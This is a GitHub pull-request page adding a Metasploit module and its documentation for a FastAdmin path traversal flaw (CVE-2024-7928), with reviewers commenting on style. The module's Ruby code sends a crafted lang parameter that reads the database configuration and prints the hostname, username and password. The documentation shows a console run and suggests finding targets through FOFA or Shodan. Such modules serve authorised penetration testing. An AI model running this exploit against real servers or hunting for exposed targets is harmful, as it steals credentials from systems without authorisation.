Skip to content
Open
Show file tree
Hide file tree
Changes from 2 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Would you mind adding some steps to set up the target?

Original file line number Diff line number Diff line change
@@ -0,0 +1,59 @@
## Vulnerable Application

This module exploits a path traversal vulnerability in FastAdmin versions up to `1.3.3.20220121`, specifically within the `/index/ajax/lang` endpoint.
By manipulating the `lang` parameter, unauthenticated remote attackers can access arbitrary files on the server, such as configuration files containing sensitive credentials.
The vulnerability (CVE-2024-7928) has been publicly disclosed and is fixed in version `1.3.4.20220530`.

- Affected version: <= 1.3.3.20220121
- Fixed version: 1.3.4.20220530
- CVE: [CVE-2024-7928](https://nvd.nist.gov/vuln/detail/CVE-2024-7928)
- Advisory: https://s4e.io/tools/fastadmin-path-traversal-cve-2024-7928

## Verification Steps

1. Install the vulnerable version of FastAdmin or find targets using FOFA/Shodan.
2. Start `msfconsole`
3. Run: `use auxiliary/scanner/http/fastadmin_path_traversal_cve_2024_7928`
4. Set `RHOSTS`
5. Run the module with `run`
6. On success, database credentials should be printed to the console

## Options

```
msf6 auxiliary(scanner/http/fastadmin_path_traversal_cve_2024_7928) > show options

Module options (auxiliary/scanner/http/fastadmin_path_traversal_cve_2024_7928):

Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.0.2.10 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to FastAdmin instance
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
```

## Scenarios

### FastAdmin 1.3.3.20220121 deployed with default configuration

```
msf6 > use auxiliary/scanner/http/fastadmin_path_traversal_cve_2024_7928
msf6 auxiliary(scanner/http/fastadmin_path_traversal_cve_2024_7928) > set RHOSTS 192.0.2.10
rhosts => 192.0.2.10
msf6 auxiliary(scanner/http/fastadmin_path_traversal_cve_2024_7928) > run

[+] 192.0.2.10 is vulnerable!
[+] DB Type : mysql
[+] Hostname : <redacted>
[+] Database : fastadmin
[+] Username : root
[+] Password : <redacted>
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```


Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Can you please rubocop this file?

Original file line number Diff line number Diff line change
@@ -0,0 +1,97 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner

def initialize(info = {})
super(update_info(
info,
'Name' => 'FastAdmin Path Traversal',
'Description' => %q{
This module exploits a path traversal vulnerability in FastAdmin versions up to 1.3.3.20220121,
specifically within the /index/ajax/lang endpoint. By manipulating the `lang` parameter, remote
attackers can traverse directories and access arbitrary files on the server, such as sensitive
configuration files including database credentials. This vulnerability, identified as CVE-2024-7928,
allows unauthenticated access and has been publicly disclosed, making it a viable target for
exploitation in the wild. The issue is resolved in version 1.3.4.20220530.
},
'References' => [
['CVE', '2024-7928'],
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2024-7928'],
['URL', 'https://s4e.io/tools/fastadmin-path-traversal-cve-2024-7928']
],
'Author' => [
'Rabbit 的个人中心', # Vulnerability discovery
'bigb0x', # Python script
'Kazgangap' # Metasploit module
],
'DisclosureDate' => '2024-08-19',
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
))

register_options([
Opt::RPORT(80),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You probably don't have to register port 80, as it should be default.

OptString.new('TARGETURI', [true, 'The base path to FastAdmin instance', '/'])
])
end

def run_host(ip)
url = normalize_uri(datastore['TARGETURI'], 'index/ajax/lang?lang=../../application/database')
begin
res = send_request_cgi({
'uri' => url,
'method' => 'GET',
'ssl' => datastore['SSL']
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'm not sure if this is necessary

})

unless res && res.code == 200 && res.body.include?('jsonpReturn(')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
unless res && res.code == 200 && res.body.include?('jsonpReturn(')
unless res&.code == 200 && res.body.include?('jsonpReturn(')

print_error("#{ip} is not vulnerable or did not respond as expected.")
return
end

jsonp_match = res.body.match(/jsonpReturn\((.*)\);/)
unless jsonp_match
print_error("#{ip} - Failed to find JSONP structure in response body.")
return
end

begin
data = JSON.parse(jsonp_match[1].strip)
rescue JSON::ParserError => e
print_error("#{ip} - Failed to parse JSONP response: #{e.message}")
return
end

unless data['username'] && data['password'] && data['database']
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
unless data['username'] && data['password'] && data['database']
unless data.dig('username') && data.dig('password') && data.dig('database')

print_error("#{ip} - Required fields missing in response.")
return
end

print_good("#{ip} is vulnerable!")
print_good("DB Type : #{data['type']}")
print_good("Hostname : #{data['hostname']}")
print_good("Database : #{data['database']}")
print_good("Username : #{data['username']}")
print_good("Password : #{data['password']}")

report_note(
host: ip,
port: rport,
type: 'fastadmin.db.info',
data: data,
update: :unique_data
)
rescue ::Exception => e
print_error("#{ip} - Error occurred: #{e.message}")
end
end
end
Loading